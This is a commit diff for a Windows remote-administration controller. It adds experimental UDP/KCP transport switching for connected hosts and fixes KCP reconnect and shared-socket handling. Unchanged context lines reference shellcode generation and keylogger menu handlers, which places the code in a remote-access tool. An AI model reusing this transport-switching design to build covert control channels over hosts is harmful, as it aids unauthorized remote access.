Feature: switch hosts to the experimental UDP and KCP transports

The switch only offered direct TCP, WS and WSS; UDP and KCP are now
experimental menu entries, and the radio item follows the real transport.

The server maps ghost/UDPOption to real listeners (a "UDP;KCP" setup
used to collapse to one UDP port). A switch sends the master address and
that transport's port, refused behind an upper-level FRP. The client
persists the override, recreates its connection object when the transport
changes, and disconnects an unacknowledged switch after 60 s so the 300 s
revert can run. TCP/WS/WSS behaviour is unchanged.

Reconnecting a KCP client reused the same object: a fresh std::thread
over the old one aborted the process and leaked the ikcp session;
ConnectServer now joins the update thread and releases the session first,
and the UDP one also clears the stale login-ack flag. KCP contexts no
longer touch the shared listener socket: CancelIO is a no-op, Disconnect
looks up by IP:port and defers deletion behind the receive thread's
reference, COMMAND_BYE leaves the socket alone, and Disconnect stays
silent like UDP's. Oversized messages are delivered in chunks.

A datagram host has no disconnect event, so a new login for the same id
was parked as standby for up to 120 s while the client gave up after
60 s; a UDP/KCP or different-transport login now replaces it immediately.

The new labels, prompts and settings hint are translated in the
en_US/de_DE/zh_TW packs; UDPOption also accepts 0/1 in port order.
Verified: Debug build; switch directions plus KCP delete/reconnect/file-transfer tested.

Co-Authored-By: deepseek-flash
This commit is contained in:
yuanyuanxianganddeepseek-flash committed 2026-11-29 20:34:08 +01:00
1 parent 914553ab4e
commit dfac2b5179
21 files changed
+534 -91

No files matched your search

+152 -23
View File
@@ -1184,6 +1184,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_PROTO_SWITCH_TCP, &CMy2015RemoteDlg::OnProtoSwitchTcp)
ON_COMMAND(ID_PROTO_SWITCH_WS, &CMy2015RemoteDlg::OnProtoSwitchWs)
ON_COMMAND(ID_PROTO_SWITCH_WSS, &CMy2015RemoteDlg::OnProtoSwitchWss)
ON_COMMAND(ID_PROTO_SWITCH_UDP, &CMy2015RemoteDlg::OnProtoSwitchUdp)
ON_COMMAND(ID_PROTO_SWITCH_KCP, &CMy2015RemoteDlg::OnProtoSwitchKcp)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -1948,7 +1950,46 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName
SendMasterSettings(ContextObject, copy);
return;
}
if (!ctx->GetClientData(ONLINELIST_IP).IsEmpty()) {
// 数据报旧上下文(UDP/KCP)没有断开事件,要等 120 秒心跳超时才回收。
// 同一 ID 的新连接不能走「替补等待」:这期间它拿不到 MasterSettings,
// 而客户端切换确认 60 秒就会超时断开重连,表现为「切到 KCP 后一直不
// 上线」;同传输重连(客户端每次都新建 socket)也会卡 120 秒。因此
// 只要旧上下文是 UDP/KCP,或新旧传输不同,就让新连接直接顶替。
// TCP 旧上下文有断开事件,保持原有的替补逻辑(避免网络抖动时抖动)。
const std::string oldProto = ctx->GetProtocol();
const std::string newProto = ContextObject->GetProtocol();
const bool oldDatagram = (oldProto == "UDP" || oldProto == "KCP");
// 克隆机(同 ID 不同主机名)不能顶替,交给下面的诊断与替补逻辑。
CString oldHostName = ctx->GetClientData(ONLINELIST_COMPUTER_NAME);
const bool cloneSuspected = !oldHostName.IsEmpty() && strPCName.CompareNoCase(oldHostName) != 0;
bool transportReplaced = false;
if (!cloneSuspected && (oldDatagram || oldProto != newProto)) {
Mprintf("协议切换:主机 [%llu] 新连接(%s)顶替旧上下文(%s)\n",
id, newProto.c_str(), oldProto.c_str());
// 同一 ID 遗留的替补连接已经无用;不清掉的话,新主连接下次掉线时
// 会被它顶上来。按传输类型安全释放。
auto sit = m_StandbyHosts.find(id);
if (sit != m_StandbyHosts.end()) {
CONTEXT_OBJECT* sb = sit->second;
m_StandbyHosts.erase(sit);
const std::string sbProto = sb->GetProtocol();
if ((sbProto == "UDP" || sbProto == "KCP") && sb->GetServer() != nullptr)
sb->GetServer()->Disconnect(sb);
else
sb->CancelIO();
}
RemoveFromHostList(ctx);
auto pit = std::find(m_PendingOnline.begin(), m_PendingOnline.end(), ctx);
if (pit != m_PendingOnline.end())
m_PendingOnline.erase(pit);
// UDP/KCP 上下文由服务端的地址映射持有:经 Disconnect 摘除映射并延迟
// 释放;TCP 旧连接会在它自己断开时走 OfflineProc 清理。
CONTEXT_OBJECT* oldCo = static_cast<CONTEXT_OBJECT*>(ctx);
if ((oldProto == "UDP" || oldProto == "KCP") && oldCo->GetServer() != nullptr)
oldCo->GetServer()->Disconnect(oldCo);
transportReplaced = true;
}
if (!transportReplaced && !ctx->GetClientData(ONLINELIST_IP).IsEmpty()) {
// 诊断:client_id 相同,但主机名/用户名不同 → 很可能是「同镜像克隆机」
// (MachineGuid 相同 → id 相同,实为不同物理机)。IP 会随 DHCP/公网出口漂移,仅供参考。
// 写日志供管理员核对,作为后续「重复 id 主动下发新 client_id」的依据。
@@ -2858,9 +2899,47 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
int nMaxConnection = THIS_CFG.GetInt("settings", "MaxConnection");
m_nMaxConnection = nMaxConnection <= 0 ? 10000 : nMaxConnection;
}
std::map<std::string, std::string> udpMap = { {"UDP", "0"}, {"KCP", "1"}};
std::string method = THIS_CFG.GetStr("settings", "UDPOption", "UDP");
method = udpMap.find(method) == udpMap.end() ? "0" : udpMap[method];
// 取值既接受可读的 UDP/KCP,也接受内部数值 0/1(忽略大小写与空白),未识别项
// 一律按 UDP——与 StartServer 对缺项的缺省行为一致。
std::map<std::string, std::string> udpMap = {
{"UDP", "0"}, {"KCP", "1"}, {"0", "0"}, {"1", "1"}
};
// UDPOption 与 ghost 是平行的分号列表("UDP;KCP" 对应 "6543;7543")。这里必须
// 逐项映射成 "0;1" 交给 StartServer;原来对整串查表("UDP;KCP" 查不到 → 全按 0)
// 会让所有端口都起 UDP,KCP 端口永远不存在。
std::string rawMethod = THIS_CFG.GetStr("settings", "UDPOption", "UDP");
std::string method;
{
auto items = StringToVector(rawMethod, ';');
for (size_t i = 0; i < items.size(); ++i) {
std::string item;
for (char c : items[i]) {
if (!isspace((unsigned char)c))
item += (char)toupper((unsigned char)c);
}
auto it = udpMap.find(item);
if (i) method += ';';
method += (it == udpMap.end() ? "0" : it->second);
}
}
// 协议切换:记录实验传输 UDP/KCP 各自监听在哪个端口(0 = 没配置,菜单置灰)。
// 必须按「已映射的 method」推导,而不是原始 UDPOption 文本:StartServer 对缺项
// 和未知项一律按 0(UDP)启动,菜单要和实际监听的端口一致。
m_udpSwitchPort = m_kcpSwitchPort = 0;
{
auto ports = StringToVector(nPort, ';');
auto methods = StringToVector(method, ';', (int)ports.size());
for (int i = 0; i < (int)ports.size() && i < (int)methods.size(); ++i) {
const int p = atoi(ports[i].c_str());
if (p <= 0) continue;
// 同一种传输配置了多个端口时取第一个:与客户端注入的主端口保持一致。
if (methods[i] == "1") {
if (m_kcpSwitchPort == 0) m_kcpSwitchPort = p;
} else if (m_udpSwitchPort == 0) {
m_udpSwitchPort = p; // "0"/空/未知都按 UDP
}
}
}
int m = atoi(THIS_CFG.GetStr("settings", "ReportInterval", "5").c_str());
int n = THIS_CFG.GetInt("settings", "SoftwareDetect");
int usingFRP = master.empty() ? 0 : THIS_CFG.GetInt("frp", "UseFrp");
@@ -4327,10 +4406,10 @@ void CMy2015RemoteDlg::CheckHeartbeat()
ContextObject->CancelIO();
// 使用延迟队列删除,由定时器统一处理刷新
m_PendingOffline.push_back(port);
// UDP 上下文由 UDP 服务端的地址映射持有,宿主列表移除后交还释放。
// 只对 UDP 生效,不改动 TCP/KCP 原有的回收路径。
// UDP/KCP 上下文由服务端的地址映射持有,宿主列表移除后交还释放。
// 只对数据报传输生效,不改动 TCP 原有的回收路径。
CONTEXT_OBJECT* co = static_cast<CONTEXT_OBJECT*>(ContextObject);
if (co->GetProtocol() == "UDP" && co->GetServer() != nullptr) {
if ((co->GetProtocol() == "UDP" || co->GetProtocol() == "KCP") && co->GetServer() != nullptr) {
co->GetServer()->Disconnect(co);
}
}
@@ -4645,10 +4724,11 @@ void CMy2015RemoteDlg::Release()
for (auto i=m_HostList.begin(); i!=m_HostList.end(); ++i) {
context* ContextObject = *i;
ContextObject->Send2Client(&bToken, sizeof(BYTE));
// UDP 上下文归 UDP 服务端的地址映射所有:这里 Destroy 会把它从映射
// 摘除并立即删除,列表中的指针随即悬空(随后 ServePair::Destroy 还会
// 再碰映射)。退出时统一交给服务端释放即可。
if (ContextObject->GetProtocol() != "UDP") {
// UDP/KCP 上下文归服务端的地址映射所有:这里 Destroy 会把它从映射摘除
// 并删除,列表中的指针随即悬空(随后 ServePair::Destroy 还会再碰映射)。
// 退出时统一交给服务端释放即可。
const std::string proto = ContextObject->GetProtocol();
if (proto != "UDP" && proto != "KCP") {
ContextObject->Destroy();
}
}
@@ -5255,7 +5335,8 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
if (protoInsertPos >= 0 && !SHOULD_HIDE_CTX(HIDE_CTX_PROTO_SWITCH, CF_PROTO_SWITCH)) {
CString curProto;
int selectedCount = 0;
bool supported = true;
bool supported = true; // TCP/WS/WSS 切换(老能力位)
bool supportedExp = true; // 实验传输 UDP/KCP 切换(新能力位)
EnterCriticalSection(&m_cs);
POSITION protoPos = m_CList_Online.GetFirstSelectedItemPosition();
while (protoPos) {
@@ -5265,6 +5346,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
++selectedCount;
if (curProto.IsEmpty()) curProto = protoCtx->GetProtocol().c_str();
if (!protoCtx->SupportsProtoSwitch()) supported = false;
if (!protoCtx->SupportsProtoSwitchExp()) supportedExp = false;
}
LeaveCriticalSection(&m_cs);
@@ -5273,16 +5355,25 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_TCP, _T("直连 TCP"));
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WS, _T("WS(经反向代理,明文)"));
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_WSS, _T("WSS(经反向代理,TLS)"));
// 实验传输:主控在 ghost/UDPOption 里配置了对应端口才可切,且要求新版客户端。
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_UDP, _T("UDP(测试)"));
protoMenu.AppendMenuL(MF_STRING, ID_PROTO_SWITCH_KCP, _T("KCP(测试)"));
UINT checked = curProto == _T("WS") ? ID_PROTO_SWITCH_WS
: curProto == _T("WSS") ? ID_PROTO_SWITCH_WSS
: curProto == _T("UDP") ? ID_PROTO_SWITCH_UDP
: curProto == _T("KCP") ? ID_PROTO_SWITCH_KCP
: ID_PROTO_SWITCH_TCP;
protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_WSS,
protoMenu.CheckMenuRadioItem(ID_PROTO_SWITCH_TCP, ID_PROTO_SWITCH_KCP,
checked, MF_BYCOMMAND);
if (selectedCount == 0 || !supported) {
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_TCP, MF_BYCOMMAND | MF_GRAYED);
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WS, MF_BYCOMMAND | MF_GRAYED);
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_WSS, MF_BYCOMMAND | MF_GRAYED);
}
if (selectedCount == 0 || !supportedExp || m_udpSwitchPort <= 0)
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_UDP, MF_BYCOMMAND | MF_GRAYED);
if (selectedCount == 0 || !supportedExp || m_kcpSwitchPort <= 0)
protoMenu.EnableMenuItem(ID_PROTO_SWITCH_KCP, MF_BYCOMMAND | MF_GRAYED);
// 子菜单句柄交给父菜单,随本地 CMenu 一起销毁
SubMenu->InsertMenu((UINT)protoInsertPos, MF_BYPOSITION | MF_POPUP | MF_STRING,
(UINT_PTR)protoMenu.Detach(), _TR("协议切换"));
@@ -5500,43 +5591,75 @@ VOID CMy2015RemoteDlg::SwitchSelectedCompression(const char* mode)
SendSelectedCommand((PBYTE)&pkt[0], (ULONG)pkt.size());
}
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS)----
// ---- 协议切换(在线列表右键 → 协议切换 → 直连 TCP / WS / WSS / UDP / KCP)----
//
// 服务端只负责下发目标入口和协议:客户端把入口写进本机配置后断开重连,在线升级换 DLL
// 也不会被外壳注入的 protoType 按回 TCP(见 client/ClientDll.cpp 的 ApplyProtoSwitch)。
// 新入口 5 分钟内登不上去,客户端自动回退到切换前的入口。
// UDP/KCP 是实验传输:入口 = 主控地址 + 该传输在 ghost/UDPOption 里配置的端口。
void CMy2015RemoteDlg::OnProtoSwitchTcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_TCP); }
void CMy2015RemoteDlg::OnProtoSwitchWs() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WS); }
void CMy2015RemoteDlg::OnProtoSwitchWss() { SwitchSelectedProtocol(ID_PROTO_SWITCH_WSS); }
void CMy2015RemoteDlg::OnProtoSwitchUdp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_UDP); }
void CMy2015RemoteDlg::OnProtoSwitchKcp() { SwitchSelectedProtocol(ID_PROTO_SWITCH_KCP); }
VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID)
{
const BYTE proto = nID == ID_PROTO_SWITCH_WS ? (BYTE)PROTO_WS
: nID == ID_PROTO_SWITCH_WSS ? (BYTE)PROTO_WSS
: nID == ID_PROTO_SWITCH_UDP ? (BYTE)PROTO_UDP
: nID == ID_PROTO_SWITCH_KCP ? (BYTE)PROTO_KCP
: (BYTE)PROTO_TCP;
const bool restore = (proto == PROTO_TCP);
const bool experimental = (proto == PROTO_UDP || proto == PROTO_KCP);
// 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃。
// 选中主机的能力校验:老客户端不认识 COMMAND_SET_PROTO,收到只会丢弃;
// 实验传输还要求新能力位,否则客户端会清空覆盖重连(白断一次)。
int selected = 0, unsupported = 0;
EnterCriticalSection(&m_cs);
for (context* ctx : ResolveCommandTargets()) {
if (!ctx->IsLogin()) continue;
++selected;
if (!ctx->SupportsProtoSwitch()) ++unsupported;
if (!ctx->SupportsProtoSwitch() || (experimental && !ctx->SupportsProtoSwitchExp()))
++unsupported;
}
LeaveCriticalSection(&m_cs);
if (selected == 0) return;
if (unsupported > 0) {
MessageBoxL(_T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"),
MessageBoxL(experimental
? _T("选中的主机里有客户端版本不支持切到实验传输 UDP/KCP(需要新版 Windows 客户端)")
: _T("选中的主机里有客户端版本不支持协议切换(需要新版客户端)"),
_T("提示"), MB_ICONWARNING);
return;
}
// WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的
// WS/WSS 需要反向代理入口(域名:端口),用输入框问,记住上次填的;
// UDP/KCP 直接用主控地址 + 该传输的监听端口,不需要输入。
std::string host;
int port = 0;
std::string certPem;
if (!restore) {
if (experimental) {
std::string masterIP;
int ignoredPort = 0;
// 返回 true 表示地址取自「上级 FRP」:FRP 只转发 TCP,UDP/KCP 端口没有映射,
// 切过去必然连不上(只能等 300 秒回退),直接拒绝并说明原因。
if (GetEffectiveMasterAddress(masterIP, ignoredPort)) {
MessageBoxL(_T("当前主控走上级 FRP 代理,FRP 只转发 TCP,无法切换到实验传输"),
_T("提示"), MB_ICONWARNING);
return;
}
if (masterIP.empty() || masterIP.size() >= sizeof(((ProtoSwitchPacket*)nullptr)->host)) {
MessageBoxL(_T("无法确定主控的公网地址,不能切换到实验传输"), _T("提示"), MB_ICONWARNING);
return;
}
port = (proto == PROTO_UDP) ? m_udpSwitchPort : m_kcpSwitchPort;
if (port <= 0 || port > 65535) {
MessageBoxL(_T("主控没有配置该传输的监听端口:请在设置的 ghost/UDPOption 里加上对应条目"),
_T("提示"), MB_ICONWARNING);
return;
}
host = masterIP;
} else if (!restore) {
CInputDialog dlg(this);
// 提示语只能用关键信息:IDC_STATIC_INPUT_PROMPT 宽 81 个对话框单位(约 121 px),
// 放不下完整句子,超出的部分会被直接裁掉。
@@ -5575,7 +5698,11 @@ VOID CMy2015RemoteDlg::SwitchSelectedProtocol(UINT nID)
}
}
CString confirm = restore
CString confirm = experimental
? _TR("确定把选中主机切到测试传输吗?\n"
"(UDP/KCP 为实验协议,可能不稳定;客户端立即断线重连,"
"300 秒内连不上会自动回退到切换前的入口)")
: restore
? _TR("确定把选中主机切回直连 TCP 吗?\n"
"(客户端立即断线重连;若直连端口不可达,5 分钟后自动回退到当前入口)")
: _TR("确定切换选中主机的传输协议吗?\n"
@@ -7828,13 +7955,15 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
break;
}
case COMMAND_BYE: { // 主机下线【L】
if (ContextObject->GetProtocol() != "UDP") {
const std::string byeProto = ContextObject->GetProtocol();
if (byeProto != "UDP" && byeProto != "KCP") {
CancelIo((HANDLE)ContextObject->sClientSocket);
closesocket(ContextObject->sClientSocket);
Sleep(10);
} else if (ContextObject->GetServer() != nullptr) {
// UDP 的 sClientSocket 是服务端共享的接收 socket,关掉会让所有 UDP
// 客户端失联。这里只把该地址的上下文从映射里摘除。
// UDP/KCP 的 sClientSocket 都是服务端共享的接收 socket,关掉会让同端口
// 所有 UDP/KCP 客户端失联。这里只把该地址的上下文从映射里摘除。
// (原来只判 UDP,KCP 客户端远程退出时会关掉整个 KCP 监听 socket。)
ContextObject->GetServer()->Disconnect(ContextObject);
}
break;